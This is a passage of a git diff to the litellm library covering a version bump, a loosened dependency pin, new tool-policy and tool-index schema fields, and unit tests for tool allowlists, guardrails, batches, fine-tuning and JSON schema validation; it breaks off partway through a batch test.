["numpydoc"] [metadata] lock-version = "2.1" python-versions = ">=3.9,<4.0" -content-hash = "5ae4b43dfe73be01d71f757227eb22245d18c06b5b4d5989b014500f400f1ee9" +content-hash = "70ec9abe5b06e7e81a2d76305cb950eea79692ae40321bac3285dc63fcbcf059" diff --git a/pyproject.toml b/pyproject.toml index 577e51a0d22..a432c1ac832 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "litellm" -version = "1.82.0" +version = "1.82.1" description = "Library to easily interface with LLM API providers" authors = ["BerriAI"] license = "MIT" @@ -45,7 +45,7 @@ orjson = {version = "^3.9.7", optional = true} apscheduler = {version = "^3.10.4", optional = true} fastapi-sso = { version = "^0.16.0", optional = true } PyJWT = { version = "^2.10.1", optional = true, python = ">=3.9" } -python-multipart = { version = "^0.0.22", optional = true, python = ">=3.10"} +python-multipart = { version = ">=0.0.20", optional = true} cryptography = {version = "*", optional = true} prisma = {version = "0.11.0", optional = true} azure-identity = {version = "^1.15.0", optional = true, python = ">=3.9"} @@ -183,7 +183,7 @@ requires = ["poetry-core", "wheel"] build-backend = "poetry.core.masonry.api" [tool.commitizen] -version = "1.82.0" +version = "1.82.1" version_files = [ "pyproject.toml:^version" ] diff --git a/requirements.txt b/requirements.txt index 69aac377d8a..aef0e1d271e 100644 --- a/requirements.txt +++ b/requirements.txt @@ -41,7 +41,7 @@ polars==1.31.0 # for data processing apscheduler==3.10.4 # for resetting budget in background fastapi-sso==0.19.0 # admin UI, SSO pyjwt[crypto]==2.10.1 ; python_version >= "3.9" -python-multipart==0.0.22 # admin UI +python-multipart>=0.0.20 # admin UI jaraco.context>=6.1.0 azure-ai-contentsafety==1.0.0 # for azure content safety azure-identity==1.16.1 ; python_version >= "3.9" # for azure content safety diff --git a/ruff.toml b/ruff.toml index 43ff802a684..76acb5dc936 100644 --- a/ruff.toml +++ b/ruff.toml @@ -16,3 +16,4 @@ exclude = ["litellm/types/*", "litellm/__init__.py", "litellm/proxy/example_conf "litellm/proxy/utils.py" = ["F401", "PLR0915"] "litellm/proxy/guardrails/guardrail_hooks/litellm_content_filter/content_filter.py" = ["PLR0915"] "litellm/proxy/guardrails/guardrail_hooks/guardrail_benchmarks/test_eval.py" = ["PLR0915"] +"litellm/responses/streaming_iterator.py" = ["PLR0915"] diff --git a/schema.prisma b/schema.prisma index e0b28a4e012..25ee2750548 100644 --- a/schema.prisma +++ b/schema.prisma @@ -260,6 +260,7 @@ model LiteLLM_ObjectPermissionTable { vector_stores String[] @default([]) agents String[] @default([]) agent_access_groups String[] @default([]) + blocked_tools String[] @default([]) // Tool names blocked for any key/team/user with this permission teams LiteLLM_TeamTable[] projects LiteLLM_ProjectTable[] verification_tokens LiteLLM_VerificationToken[] @@ -928,6 +929,16 @@ model LiteLLM_SpendLogGuardrailIndex { @@index([policy_id, start_time]) } +// Index for fast "last N logs for tool" from SpendLogs – see how a tool is called in production +model LiteLLM_SpendLogToolIndex { + request_id String + tool_name String // matches LiteLLM_ToolTable.tool_name; join for input_policy/output_policy etc. + start_time DateTime + + @@id([request_id, tool_name]) + @@index([tool_name, start_time]) +} + // Prompt table for storing prompt configurations model LiteLLM_PromptTable { id String @id @default(uuid()) @@ -1065,23 +1076,27 @@ model LiteLLM_PolicyAttachmentTable { updated_by String? } -// Global tool registry - auto-discovered from LLM responses; admins set call_policy here +// Global tool registry - auto-discovered from LLM responses; admins set input/output policies here model LiteLLM_ToolTable { - tool_id String @id @default(uuid()) - tool_name String @unique // e.g. "huggingface_remote-mcp__dynamic_space" - origin String? // MCP server name or "user_defined" - call_policy String @default("untrusted") // "trusted" | "untrusted" | "dual_llm" | "blocked" - call_count Int @default(0) // cumulative number of times this tool was seen - assignments Json? @default("{}") - key_hash String? // hash of the virtual key that first called this tool - team_id String? // team that first called this tool - key_alias String? // human-readable alias of the virtual key - created_at DateTime @default(now()) - created_by String? - updated_at DateTime @default(now()) @updatedAt - updated_by String? + tool_id String @id @default(uuid()) + tool_name String @unique // e.g. "huggingface_remote-mcp__dynamic_space" + origin String? // MCP server name or "user_defined" + input_policy String @default("untrusted") // "trusted" | "untrusted" | "blocked" + output_policy String @default("untrusted") // "trusted" | "untrusted" + call_count Int @default(0) // cumulative number of times this tool was seen + assignments Json? @default("{}") + key_hash String? // hash of the virtual key that first called this tool + team_id String? // team that first called this tool + key_alias String? // human-readable alias of the virtual key + user_agent String? // user-agent of the first request that discovered this tool + last_used_at DateTime? // timestamp of the most recent call + created_at DateTime @default(now()) + created_by String? + updated_at DateTime @default(now()) @updatedAt + updated_by String? - @@index([call_policy]) + @@index([input_policy]) + @@index([output_policy]) @@index([team_id]) } diff --git a/scripts/test_tool_allowlist_script.py b/scripts/test_tool_allowlist_script.py new file mode 100644 index 00000000000..75a50d09b84 --- /dev/null +++ b/scripts/test_tool_allowlist_script.py @@ -0,0 +1,116 @@ +#!/usr/bin/env python3 +""" +Standalone script to test tool allowlist enforcement and tool name extraction. + +Run from repo root: + poetry run python scripts/test_tool_allowlist_script.py + +Or run the unit tests: + poetry run pytest tests/test_litellm/proxy/test_tools_allowlist_enforcement.py -v +""" + +import asyncio +import sys +from pathlib import Path + +# Ensure repo root is on path +repo_root = Path(__file__).resolve().parent.parent +if str(repo_root) not in sys.path: + sys.path.insert(0, str(repo_root)) + + +def test_extraction(): + """Test extract_request_tool_names for each API shape.""" + from litellm.proxy.guardrails.tool_name_extraction import extract_request_tool_names + + cases = [ + ("OpenAI chat tools", "/v1/chat/completions", {"tools": [{"type": "function", "function": {"name": "get_weather"}}]}), + ("OpenAI chat functions", "/v1/chat/completions", {"functions": [{"name": "run_sql"}]}), + ("OpenAI responses function", "/v1/responses", {"tools": [{"type": "function", "name": "get_current_weather"}]}), + ("OpenAI responses MCP", "/v1/responses", {"tools": [{"type": "mcp", "server_label": "dmcp"}]}), + ("Anthropic", "/v1/messages", {"tools": [{"name": "get_weather"}, {"name": "run_sql"}]}), + ("Google generateContent", "/generate_content", {"tools": [{"functionDeclarations": [{"name": "schedule_meeting"}]}]}), + ("MCP call_tool", "/mcp/call_tool", {"name": "my_tool", "arguments": {}}), + ("Non-tool route", "/v1/embeddings", {"tools": [{"type": "function", "function": {"name": "x"}}]}), + ] + print("=== extract_request_tool_names(route, data) ===\n") + for label, route, data in cases: + names = extract_request_tool_names(route, data) + print(f" {label}: {names}") + print() + + +async def test_check_tools_allowlist(): + """Test check_tools_allowlist with mock tokens.""" + from litellm.proxy._types import ProxyErrorTypes, ProxyException, UserAPIKeyAuth + from litellm.proxy.auth.auth_checks import check_tools_allowlist + + def token(metadata=None, team_metadata=None): + return UserAPIKeyAuth( + api_key="test-key", + user_id="user", + team_id="team", + org_id=None, + models=["*"], + metadata=metadata or {}, + team_metadata=team_metadata or {}, + ) + + print("=== check_tools_allowlist (auth) ===\n") + + # No allowlist -> pass + await check_tools_allowlist( + request_body={"tools": [{"type": "function", "function": {"name": "get_weather"}}]}, + valid_token=token(), + team_object=None, + route="/v1/chat/completions", + ) + print(" No allowlist, body has tools: PASS") + + # Allowed tool -> pass + await check_tools_allowlist( + request_body={"tools": [{"type": "function", "function": {"name": "get_weather"}}]}, + valid_token=token(metadata={"allowed_tools": ["get_weather"]}), + team_object=None, + route="/v1/chat/completions", + ) + print(" allowed_tools=['get_weather'], body has get_weather: PASS") + + # Disallowed tool -> raise + try: + await check_tools_allowlist( + request_body={"tools": [{"type": "function", "function": {"name": "get_weather"}}]}, + valid_token=token(metadata={"allowed_tools": ["other_tool"]}), + team_object=None, + route="/v1/chat/completions", + ) + print(" DISALLOWED: expected ProxyException") + except ProxyException as e: + if e.type == ProxyErrorTypes.tool_access_denied: + print(" allowed_tools=['other_tool'], body has get_weather: PASS (raised tool_access_denied)") + else: + print(f" Unexpected ProxyException type: {e.type}") + except Exception as e: + print(f" Unexpected: {e}") + + # Team allowlist when key empty + await check_tools_allowlist( + request_body={"tools": [{"type": "function", "function": {"name": "get_weather"}}]}, + valid_token=token(team_metadata={"allowed_tools": ["get_weather"]}), + team_object=None, + route="/v1/chat/completions", + ) + print(" team_metadata.allowed_tools=['get_weather']: PASS") + print() + + +def main(): + print("Tool allowlist / tool name extraction – script checks\n") + test_extraction() + asyncio.run(test_check_tools_allowlist()) + print("Done. For full unit tests run:") + print(" poetry run pytest tests/test_litellm/proxy/test_tools_allowlist_enforcement.py -v") + + +if __name__ == "__main__": + main() diff --git a/tests/batches_tests/test_fine_tuning_api.py b/tests/batches_tests/test_fine_tuning_api.py index c6a731ea54f..7e238173480 100644 --- a/tests/batches_tests/test_fine_tuning_api.py +++ b/tests/batches_tests/test_fine_tuning_api.py @@ -596,3 +596,61 @@ async def test_mock_openai_retrieve_fine_tune_job(): # Verify the request mock_retrieve.assert_called_once_with(fine_tuning_job_id="ft-123") + + +@pytest.mark.asyncio +async def test_mock_azure_create_fine_tune_job_with_azure_specific_params(): + """Test that Azure-specific parameters are passed through extra_body""" + from openai import AsyncAzureOpenAI + from openai.types.fine_tuning.fine_tuning_job import FineTuningJob + from openai.types.fine_tuning.fine_tuning_job import Hyperparameters as OAIHyperparameters + + mock_response = FineTuningJob( + id="ft-azure-123", + model="gpt-4.1-mini-2025-04-14", + created_at=1677610602, + status="validating_files", + fine_tuned_model=None, + object="fine_tuning.job", + hyperparameters=OAIHyperparameters(n_epochs=3), + organization_id="org-123", + seed=42, + training_file="file-123", + result_files=[], + ) + + with patch("litellm.llms.azure.fine_tuning.handler.AzureOpenAIFineTuningAPI.create_fine_tuning_job") as mock_create: + mock_create.return_value = mock_response + + response = await litellm.acreate_fine_tuning_job( + model="gpt-4.1-mini-2025-04-14", + training_file="file-123", + custom_llm_provider="azure", + api_base="https://test.openai.azure.com", + api_key="test-key", + api_version="2025-04-01-preview", + trainingType=1, + hyperparameters={ + "n_epochs": 3, + "prompt_loss_weight": 0.1 + }, + ) + + # Verify the request + mock_create.assert_called_once() + request_params = mock_create.call_args.kwargs + + # Check that create_fine_tuning_job_data contains the correct structure + create_data = request_params["create_fine_tuning_job_data"] + assert create_data["model"] == "gpt-4.1-mini-2025-04-14" + assert create_data["training_file"] == "file-123" + assert create_data["hyperparameters"] == {"n_epochs": 3} + + # Azure-specific parameters should be in extra_body + assert "extra_body" in create_data + assert create_data["extra_body"]["trainingType"] == 1 + assert create_data["extra_body"]["prompt_loss_weight"] == 0.1 + + # Verify the response + assert response.id == "ft-azure-123" + assert response.model == "gpt-4.1-mini-2025-04-14" diff --git a/tests/batches_tests/test_openai_batches_and_files.py b/tests/batches_tests/test_openai_batches_and_files.py index 055af024949..641590ad04a 100644 --- a/tests/batches_tests/test_openai_batches_and_files.py +++ b/tests/batches_tests/test_openai_batches_and_files.py @@ -29,6 +29,7 @@ verbose_logger.setLevel(logging.DEBUG) from litellm.integrations.custom_logger import CustomLogger from litellm.types.utils import StandardLoggingPayload import random +import httpx from unittest.mock import patch, MagicMock @@ -579,6 +580,48 @@ async def test_vertex_list_batches(monkeypatch): assert list_response["data"][1].id == "test-batch-id-789" +@pytest.mark.asyncio +async def test_vertex_async_create_batch_logs_error_body_on_http_error(): + """ + When Vertex AI returns an HTTP error (e.g. 400), _async_create_batch should + re-raise httpx.HTTPStatusError (not swallow it) and log the response body. + + Before the fix the error body was lost because AsyncHTTPHandler.post() + calls raise_for_status() internally, raising before the handler's own + status-code check could log the body. + """ + from litellm.llms.vertex_ai.batches.handler import VertexAIBatchPrediction + + handler = VertexAIBatchPrediction(gcs_bucket_name="test-bucket") + + error_body = '{"error": {"code": 400, "message": "Do not support publisher model gemini-2.0-flash"}}' + + mock_response = MagicMock(spec=httpx.Response) + mock_response.status_code = 400 + mock_response.text = error_body + mock_response.headers = {} + + http_error = httpx.HTTPStatusError( + message="Bad Request", + request=httpx.Request("POST", "https://fake-vertex-url"), + response=mock_response, + ) + + with patch( + "litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post", + side_effect=http_error, + ): + with pytest.raises(httpx.HTTPStatusError) as exc_info: + await handler._async_create_batch( + vertex_batch_request={}, + api_base="https://us-central1-aiplatform.googleapis.com/v1/projects/test/locations/us-central1/batchPredictionJobs", + headers={"Authorization": "Bearer fake-token"}, + ) + + assert exc_info.value.response.status_code == 400 + assert "gemini-2.0-flash" in exc_info.value.response.text + + @pytest.mark.asyncio async def test_delete_batch_output_file(): """ diff --git a/tests/code_coverage_tests/enforce_llms_folder_style.py b/tests/code_coverage_tests/enforce_llms_folder_style.py index 7e6fd8e6fd6..b39c669308a 100644 --- a/tests/code_coverage_tests/enforce_llms_folder_style.py +++ b/tests/code_coverage_tests/enforce_llms_folder_style.py @@ -17,6 +17,7 @@ SEARCH_PROVIDERS = [ "searxng", "linkup", "duckduckgo", + "searchapi", ] ALLOWED_FILES_IN_LLMS_FOLDER = [ diff --git a/tests/code_coverage_tests/liccheck.ini b/tests/code_coverage_tests/liccheck.ini index 376d2859ffa..65ac01123d1 100644 --- a/tests/code_coverage_tests/liccheck.ini +++ b/tests/code_coverage_tests/liccheck.ini @@ -114,7 +114,7 @@ apscheduler: >=3.10.4 # Unknown license fastapi-sso: >=0.16.0 # Unknown license filelock: >=3.20.0 # Unlicense (public domain) - https://unlicense.org / https://github.com/tox-dev/filelock pyjwt: >=2.9.0 # Unknown license -python-multipart: >=0.0.18 # Unknown license +python-multipart: >=0.0.20 # Unknown license pillow: >=11.0.0 # Unknown license azure-ai-contentsafety: >=1.0.0 # Unknown license azure-identity: >=1.16.1 # Unknown license diff --git a/tests/code_coverage_tests/license_cache.json b/tests/code_coverage_tests/license_cache.json index a9c7fad2b14..e7b1157a240 100644 --- a/tests/code_coverage_tests/license_cache.json +++ b/tests/code_coverage_tests/license_cache.json @@ -20,7 +20,7 @@ "apscheduler:3.10.4": "MIT", "fastapi-sso:0.16.0": "MIT", "pyjwt:2.9.0": "MIT", - "python-multipart:0.0.22": "Apache-2.0", + "python-multipart:0.0.20": "Apache-2.0", "Pillow:11.0.0": "MIT-CMU", "azure-ai-contentsafety:1.0.0": "MIT License", "azure-identity:1.16.1": "MIT License", diff --git a/tests/enterprise/litellm_enterprise/integrations/test_custom_guardrail.py b/tests/enterprise/litellm_enterprise/integrations/test_custom_guardrail.py index 6feaca6f0b7..f4e06f9f317 100644 --- a/tests/enterprise/litellm_enterprise/integrations/test_custom_guardrail.py +++ b/tests/enterprise/litellm_enterprise/integrations/test_custom_guardrail.py @@ -1,9 +1,5 @@ -import datetime -import json import os import sys -import unittest -from unittest.mock import ANY, MagicMock, patch sys.path.insert( 0, os.path.abspath("../..") @@ -12,6 +8,132 @@ from litellm.integrations.custom_guardrail import CustomGuardrail from litellm.types.guardrails import GuardrailEventHooks, Mode +def test_custom_guardrail_with_mode_default_list(monkeypatch): + """Test Mode with default as a list of modes (e.g. default: ["pre_call", "post_call"])""" + monkeypatch.setattr("litellm.proxy.proxy_server.premium_user", True) + cg = CustomGuardrail( + guardrail_name="test_guardrail", + supported_event_hooks=[ + GuardrailEventHooks.pre_call, + GuardrailEventHooks.post_call, + GuardrailEventHooks.logging_only, + ], + event_hook=Mode( + tags={"test_tag": "logging_only"}, + default=["pre_call", "post_call"], + ), + default_on=True, + ) + + # No tag match → default fires for pre_call + assert ( + cg.should_run_guardrail( + data={"messages": [{"role": "user", "content": "test"}]}, + event_type=GuardrailEventHooks.pre_call, + ) + is True + ) + + # No tag match → default fires for post_call + assert ( + cg.should_run_guardrail( + data={"messages": [{"role": "user", "content": "test"}]}, + event_type=GuardrailEventHooks.post_call, + ) + is True + ) + + # No tag match → logging_only NOT in default list, should not fire + assert ( + cg.should_run_guardrail( + data={"messages": [{"role": "user", "content": "test"}]}, + event_type=GuardrailEventHooks.logging_only, + ) + is False + ) + + # Tag matches → only logging_only should fire + assert ( + cg.should_run_guardrail( + data={ + "messages": [{"role": "user", "content": "test"}], + "litellm_metadata": {"tags": ["test_tag"]}, + }, + event_type=GuardrailEventHooks.logging_only, + ) + is True + ) + + # Tag matches → pre_call should NOT fire (tag says logging_only) + assert ( + cg.should_run_guardrail( + data={ + "messages": [{"role": "user", "content": "test"}], + "litellm_metadata": {"tags": ["test_tag"]}, + }, + event_type=GuardrailEventHooks.pre_call, + ) + is False + ) + + # Tag matches → post_call should NOT fire (tag says logging_only) + assert ( + cg.should_run_guardrail( + data={ + "messages": [{"role": "user", "content": "test"}], + "litellm_metadata": {"tags": ["test_tag"]}, + }, + event_type=GuardrailEventHooks.post_call, + ) + is False + ) + + +def test_custom_guardrail_with_mode_no_default(monkeypatch): + """Test Mode with no default — guardrail only fires when tag matches""" + monkeypatch.setattr("litellm.proxy.proxy_server.premium_user", True) + cg = CustomGuardrail( + guardrail_name="test_guardrail", + supported_event_hooks=[ + GuardrailEventHooks.pre_call, + GuardrailEventHooks.logging_only, + ], + event_hook=Mode( + tags={"test_tag": "logging_only"}, + ), + default_on=True, + ) + + # No tag, no default → nothing fires + assert ( + cg.should_run_guardrail( + data={"messages": [{"role": "user", "content": "test"}]}, + event_type=GuardrailEventHooks.pre_call, + ) + is False + ) + + assert ( + cg.should_run_guardrail( + data={"messages": [{"role": "user", "content": "test"}]}, + event_type=GuardrailEventHooks.logging_only, + ) + is False + ) + + # Tag matches → only logging_only fires + assert ( + cg.should_run_guardrail( + data={ + "messages": [{"role": "user", "content": "test"}], + "litellm_metadata": {"tags": ["test_tag"]}, + }, + event_type=GuardrailEventHooks.logging_only, + ) + is True + ) + + def test_custom_guardrail_with_mode(monkeypatch): monkeypatch.setattr( "litellm.proxy.proxy_server.premium_user", True diff --git a/tests/enterprise/litellm_enterprise/proxy/hooks/test_managed_files.py b/tests/enterprise/litellm_enterprise/proxy/hooks/test_managed_files.py index 58efa854e7c..58fbd9e64ba 100644 --- a/tests/enterprise/litellm_enterprise/proxy/hooks/test_managed_files.py +++ b/tests/enterprise/litellm_enterprise/proxy/hooks/test_managed_files.py @@ -6,6 +6,7 @@ from fastapi import HTTPException from litellm_enterprise.proxy.hooks.managed_files import _PROXY_LiteLLMManagedFiles from litellm.caching import DualCache +from litellm.proxy._types import CallTypes from litellm.proxy.openai_files_endpoints.common_utils import ( _is_base64_encoded_unified_file_id, ) @@ -61,6 +62,109 @@ async def test_async_pre_call_hook_batch_retrieve(): assert response["model"] == "my-general-azure-deployment" +@pytest.mark.asyncio +async def test_async_pre_call_deployment_hook_resolves_model_id_from_litellm_metadata(): + """ + For batch operations the router stores model_info under + kwargs["litellm_metadata"]["model_info"] (not top-level kwargs["model_info"]). + async_pre_call_deployment_hook must check both locations so the managed + file ID is resolved to the provider-specific file ID. + """ + proxy_managed_files = _PROXY_LiteLLMManagedFiles( + DualCache(), prisma_client=MagicMock() + ) + + managed_file_id = "managed-file-abc" + model_id = "deployment-xyz" + provider_file_id = "gs://bucket/path/to/file.jsonl" + + # model_info is nested under litellm_metadata (batch path) + kwargs = { + "input_file_id": managed_file_id, + "model_file_id_mapping": { + managed_file_id: {model_id: provider_file_id}, + }, + "litellm_metadata": { + "model_info": {"id": model_id}, + }, + } + + result = await proxy_managed_files.async_pre_call_deployment_hook( + kwargs=kwargs, call_type=CallTypes.acreate_batch + ) + + assert result["input_file_id"] == provider_file_id, ( + f"Expected provider file ID '{provider_file_id}', got '{result['input_file_id']}'" + ) + + +@pytest.mark.asyncio +async def test_async_pre_call_deployment_hook_prefers_top_level_model_info(): + """ + When model_info exists at top-level kwargs, async_pre_call_deployment_hook + should use it without falling back to litellm_metadata. + """ + proxy_managed_files = _PROXY_LiteLLMManagedFiles( + DualCache(), prisma_client=MagicMock() + ) + + managed_file_id = "managed-file-abc" + top_level_model_id = "deployment-top" + nested_model_id = "deployment-nested" + top_level_provider_file = "file-top-123" + nested_provider_file = "file-nested-456" + + kwargs = { + "input_file_id": managed_file_id, + "model_file_id_mapping": { + managed_file_id: { + top_level_model_id: top_level_provider_file, + nested_model_id: nested_provider_file, + }, + }, + "model_info": {"id": top_level_model_id}, + "litellm_metadata": { + "model_info": {"id": nested_model_id}, + }, + } + + result = await proxy_managed_files.async_pre_call_deployment_hook( + kwargs=kwargs, call_type=CallTypes.acreate_batch + ) + + assert result["input_file_id"] == top_level_provider_file, ( + "Should prefer top-level model_info over litellm_metadata" + ) + + +@pytest.mark.asyncio +async def test_async_pre_call_deployment_hook_no_model_info_leaves_file_id_unchanged(): + """ + When model_info is absent from both top-level and litellm_metadata, + the managed file ID should remain unchanged. + """ + proxy_managed_files = _PROXY_LiteLLMManagedFiles( + DualCache(), prisma_client=MagicMock() + ) + + managed_file_id = "managed-file-abc" + + kwargs = { + "input_file_id": managed_file_id, + "model_file_id_mapping": { + managed_file_id: {"some-model": "provider-file-xyz"}, + }, + } + + result = await proxy_managed_files.async_pre_call_deployment_hook( + kwargs=kwargs, call_type=CallTypes.acreate_batch + ) + + assert result["input_file_id"] == managed_file_id, ( + "File ID should remain unchanged when model_info is not available" + ) + + # def test_list_managed_files(): # proxy_managed_files = _PROXY_LiteLLMManagedFiles(DualCache()) diff --git a/tests/litellm/integrations/helicone/test_helicone_gemini.py b/tests/litellm/integrations/helicone/test_helicone_gemini.py index f42a7016131..67c4515c1e7 100644 --- a/tests/litellm/integrations/helicone/test_helicone_gemini.py +++ b/tests/litellm/integrations/helicone/test_helicone_gemini.py @@ -62,3 +62,74 @@ def test_helicone_vertex_ai_via_custom_llm_provider(): for model, custom_llm_provider in test_cases: is_vertex_ai = custom_llm_provider == "vertex_ai" or model.startswith("vertex_ai/") assert is_vertex_ai, f"{model} with custom_llm_provider={custom_llm_provider} should be recognized as vertex_ai" + + +def test_helicone_vertex_gemini_gets_vertex_provider_url(): + """ + Test that vertex_ai/gemini-* models route to aiplatform.googleapis.com, + not generativelanguage.googleapis.com. + + This verifies the branch ordering fix: is_vertex_ai must be checked + before "gemini" in model, otherwise vertex gemini models get the wrong + provider_url. + """ + from unittest.mock import MagicMock, patch + + from litellm.integrations.helicone import HeliconeLogger + + logger = HeliconeLogger() + + captured = {} + + def mock_post(url, **kwargs): + captured["url"] = url + captured["data"] = kwargs.get("json", {}) + mock_resp = MagicMock() + mock_resp.status_code = 200 + return mock_resp + + test_cases = [ + # (model, custom_llm_provider, expected_provider_url) + ( + "vertex_ai/gemini-1.5-pro", + "", + "https://aiplatform.googleapis.com/v1", + ), + ( + "gemini-2.0-flash", + "vertex_ai", + "https://aiplatform.googleapis.com/v1", + ), + ( + "gemini-1.5-flash", + "", + "https://generativelanguage.googleapis.com/v1beta", + ), + ] + + for model, custom_llm_provider, expected_url in test_cases: + captured.clear() + mock_client = MagicMock() + mock_client.post = mock_post + with patch("litellm.module_level_client", mock_client): + logger.log_success( + model=model, + messages=[{"role": "user", "content": "test"}], + response_obj={"choices": [{"message": {"content": "hi"}}]}, + start_time=MagicMock(), + end_time=MagicMock(), + print_verbose=lambda *args, **kwargs: None, + kwargs={ + "litellm_params": { + "custom_llm_provider": custom_llm_provider, + "metadata": {}, + }, + }, + ) + + assert "data" in captured, f"No request captured for {model}" + actual_url = captured["data"]["providerRequest"]["url"] + assert actual_url == expected_url, ( + f"Model {model} (provider={custom_llm_provider!r}): " + f"expected provider_url={expected_url}, got {actual_url}" + ) diff --git a/tests/litellm/litellm_core_utils/test_json_schema_validation.py b/tests/litellm/litellm_core_utils/test_json_schema_validation.py new file mode 100644 index 00000000000..f798db6fb43 --- /dev/null +++ b/tests/litellm/litellm_core_utils/test_json_schema_validation.py @@ -0,0 +1,136 @@ +""" +Tests for per-request enable_json_schema_validation parameter. + +Ensures the per-request flag overrides the global litellm.enable_json_schema_validation, +making JSON schema validation thread-safe for concurrent usage. + +Related issue: https://github.com/BerriAI/litellm/issues/XXXX +""" + +import json + +import pytest + +import litellm +from litellm.types.utils import ModelResponse +from litellm.utils import Rules, post_call_processing + + +def _make_response(content: dict) -> ModelResponse: + """Create a ModelResponse with the given content as JSON string.""" + response = ModelResponse() + response.choices[0].message.content = json.dumps(content) + return response + + +def _mock_completion(): + """Mock function with __name__ == 'completion' for post_call_processing.""" + pass + + +_mock_completion.__name__ = "completion" + +# Schema that requires 'title' (string) and 'rating' (integer) +STRICT_SCHEMA = { + "type": "json_schema", + "json_schema": { + "name": "MovieReview", + "schema": { + "type": "object", + "properties": { + "title": {"type": "string"}, + "rating": {"type": "integer"}, + }, + "required": ["title", "rating"], + }, + }, +} + +INVALID_CONTENT = {"name": "test", "age": 25} # Does NOT match the schema +VALID_CONTENT = {"title": "Inception", "rating": 9} # Matches the schema + + +@pytest.fixture(autouse=True) +def _reset_global_flag(): + """Reset the global flag before and after each test.""" + original = litellm.enable_json_schema_validation + litellm.enable_json_schema_validation = False + yield + litellm.enable_json_schema_validation = original + + +class TestPerRequestJsonSchemaValidation: + """Test that per-request enable_json_schema_validation overrides the global flag.""" + + def test_global_off_no_per_request_skips_validation(self): + """Global OFF + no per-request flag -> no validation (default behavior).""" + litellm.enable_json_schema_validation = False + # Should NOT raise even though response doesn't match schema + post_call_processing( + _make_response(INVALID_CONTENT), + "test-model", + {"response_format": STRICT_SCHEMA}, + _mock_completion, + Rules(), + ) + + def test_per_request_on_overrides_global_off(self): + """Global OFF + per-request ON -> validation runs and catches invalid response.""" + litellm.enable_json_schema_validation = False + with pytest.raises(litellm.JSONSchemaValidationError): + post_call_processing( + _make_response(INVALID_CONTENT), + "test-model", + { + "response_format": STRICT_SCHEMA, + "enable_json_schema_validation": True, + }, + _mock_completion, + Rules(), + ) + + def test_per_request_off_overrides_global_on(self): + """Global ON + per-request OFF -> validation skipped (per-request wins).""" + litellm.enable_json_schema_validation = True + # Should NOT raise because per-request says False + post_call_processing( + _make_response(INVALID_CONTENT), + "test-model", + { + "response_format": STRICT_SCHEMA, + "enable_json_schema_validation": False, + }, + _mock_completion, + Rules(), + ) + + def test_global_on_no_per_request_validates(self): + """Global ON + no per-request flag -> validation runs (backward compatible).""" + litellm.enable_json_schema_validation = True + with pytest.raises(litellm.JSONSchemaValidationError): + post_call_processing( + _make_response(INVALID_CONTENT), + "test-model", + {"response_format": STRICT_SCHEMA}, + _mock_completion, + Rules(), + ) + + def test_valid_response_passes_with_per_request_on(self): + """Per-request ON + valid response -> no error raised.""" + post_call_processing( + _make_response(VALID_CONTENT), + "test-model", + { + "response_format": STRICT_SCHEMA, + "enable_json_schema_validation": True, + }, + _mock_completion, + Rules(), + ) + + def test_per_request_flag_is_in_all_litellm_params(self): + """Ensure the param is registered so it doesn't leak to provider APIs.""" + from litellm.types.utils import all_litellm_params + + assert "enable_json_schema_validation" in all_litellm_params diff --git a/tests/litellm/proxy/test_batch_x_litellm_model_encoding.py b/tests/litellm/proxy/test_batch_x_litellm_model_encoding.py new file mode 100644 index 00000000000..521a3632dcb --- /dev/null +++ b/tests/litellm/proxy/test_batch_x_litellm_model_encoding.py @@ -0,0 +1,362 @@ +""" +Unit tests for batch ID encoding when x-litellm-model header is used. + +Verifies that create_batch encodes response IDs with model info so that +retrieve_batch can route back to the correct provider/credentials. +""" + +from typing import Optional +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +import litellm +from litellm.proxy.openai_files_endpoints.common_utils import ( + decode_model_from_file_id, + get_original_file_id, +) +from litellm.types.utils import LiteLLMBatch + + +def _make_mock_request(headers: dict) -> MagicMock: + """Create a mock FastAPI Request with the given headers.""" + mock_request = MagicMock() + mock_request.headers = headers + mock_request.query_params = {} + mock_request.url = MagicMock() + mock_request.url.port = 4000 + mock_request.method = "POST" + mock_request.url.path = "/v1/batches" + return mock_request + + +def _make_batch_response( + batch_id: str = "batch_abc123", + input_file_id: str = "file-input456", + output_file_id: Optional[str] = None, + error_file_id: Optional[str] = None, + status: str = "validating", +) -> LiteLLMBatch: + """Create a mock LiteLLMBatch response from a provider.""" + return LiteLLMBatch( + id=batch_id, + object="batch", + status=status, + endpoint="/v1/chat/completions", + input_file_id=input_file_id, + completion_window="24h", + created_at=1234567890, + output_file_id=output_file_id, + error_file_id=error_file_id, + ) + + +@pytest.mark.asyncio +async def test_create_batch_with_x_litellm_model_encodes_batch_id(): + """ + When x-litellm-model header is provided, create_batch should encode the + response batch_id with model info so retrieve_batch can route correctly. + """ + from litellm.proxy.batches_endpoints.endpoints import create_batch + + model_name = "my-vllm-model" + raw_batch_id = "batch_abc123" + + mock_response = _make_batch_response(batch_id=raw_batch_id) + mock_request = _make_mock_request(headers={"x-litellm-model": model_name}) + mock_fastapi_response = MagicMock() + mock_user_api_key_dict = MagicMock() + mock_user_api_key_dict.parent_otel_span = None + mock_user_api_key_dict.user_id = "test_user" + + mock_credentials = { + "api_key": "sk-test", + "api_base": "http://vllm:8000", + "custom_llm_provider": "openai", + } + + with ( + patch( + "litellm.proxy.batches_endpoints.endpoints._read_request_body", + new=AsyncMock( + return_value={"input_file_id": "file-input456", "endpoint": "/v1/chat/completions", "completion_window": "24h"} + ), + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.ProxyBaseLLMRequestProcessing" + ) as mock_processor_cls, + patch( + "litellm.proxy.batches_endpoints.endpoints.get_credentials_for_model", + return_value=mock_credentials, + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.prepare_data_with_credentials", + ), + patch( + "litellm.acreate_batch", + new=AsyncMock(return_value=mock_response), + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.is_known_model", + return_value=False, + ), + patch("litellm.proxy.proxy_server.general_settings", {}), + patch("litellm.proxy.proxy_server.llm_router", MagicMock()), + patch("litellm.proxy.proxy_server.proxy_config", MagicMock()), + patch("litellm.proxy.proxy_server.version", "1.0.0"), + patch( + "litellm.proxy.proxy_server.proxy_logging_obj", + MagicMock( + post_call_success_hook=AsyncMock(return_value=mock_response), + update_request_status=AsyncMock(), + ), + ), + ): + # Setup the mock processor to return data and logging obj + mock_processor = MagicMock() + 